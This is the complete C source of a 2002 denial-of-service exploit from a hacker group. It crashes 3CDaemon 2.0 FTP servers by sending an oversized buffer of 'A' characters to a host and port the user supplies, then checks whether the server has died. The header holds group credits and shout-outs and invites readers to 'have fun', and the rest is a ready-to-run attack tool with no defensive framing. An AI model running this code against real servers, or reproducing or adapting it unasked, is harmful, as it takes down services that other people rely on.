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- /* MaD SKiLL 'H'
- * MsH 4 life! http://www.madskill.tk
- * *Private Release*
- *
- * 3CDaemon 2.0 revision 10 DoS
- *
- * 11:12 14-4-2002: BOF flaw found by skyrim
- * 1:00 15-4-2002: exploit done.
- * 23:31 16-4-2002: Edited the exploit slightly, it's a better code now
- *
- * This program will exploit the buffer overflow vulnerability of
- * 3CDaemon 2.0 FTP servers. Sending 400+ chars will make the server crash
- * at any time they're send.
- *
- * Tested on:
- * [OS] [version]
- * Windows XP (5.1 - 2600) 3CDaemon 2.0 revision 10
- *
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- * ######## ##### #### ### ### ### ###
- *
- * I don't know if this will work on versions other then the one I tested it
- on.
- * Have fun.
- *
- * Crew shouts go to: MsH, DFA, uDc
- * Personal shouts to: mannie, primus, amok, torment, talented, warsteam,
- frodo, maxxo,
- * xo|l, fearless, cybje, kell, frodo, maxxo, and everyone else.
- *
- * skyrim (skyrim@m4dskill.tk)
- */
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define BOFSIZE 420
-
- char banner(void) { printf("MaD SKiLL 'H' 3CDaemon 2.0 revision 10
- DoS\n.:[MsH]:.\n ---\n"); }
-
- void E(char *msg) { perror(msg); exit(1); }
-
- main(int argc, char *argv[])
- {
- static char ownage[BOFSIZE];
- int sockfd, sockfd2, n;
-
- struct sockaddr_in server_addr;
- struct hostent *server;
-
- if (argc != 3) {
- fprintf(stderr,"Usage: %s hostname/ip port\n", argv[0]);
- exit(1);
- }
- banner();
- memset(ownage, 'A', BOFSIZE);
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sockfd < 0) E("Error occured during opening socket");
- server = gethostbyname(argv[1]);
- if (server == NULL) E("Error occured during host lookup -No such
- host?-\n");
-
- bzero((char *) &server_addr, sizeof(server_addr));
- server_addr.sin_family = AF_INET;
- bcopy((char *)server->h_addr,
- (char *)&server_addr.sin_addr.s_addr,
- server->h_length);
- server_addr.sin_port = htons(atoi(argv[2]));
- printf("Connecting to target FTP server... ");
- if (connect(sockfd,&server_addr,sizeof(server_addr)) < 0) { E("Error
- occured during connecting\n"); }
- printf("Connected, Probing BOF... \n");
- n = write(sockfd,ownage,strlen(ownage));
- if (n < 0) { E("Error occured during writing to socket"); }
- close(sockfd);
- sockfd2=socket(AF_INET, SOCK_STREAM, 0);
- printf("Done, checking if server is dead.. \n");
- sleep(5);
- if (connect(sockfd2,&server_addr,sizeof(server_addr)) < 0) {
- printf("Couldn't establish connection: It seems like it died! =)\n");
- exit(0); }
- printf("Server is still alive. Perhaps its not vulnerable?\n");
- return 0;
- }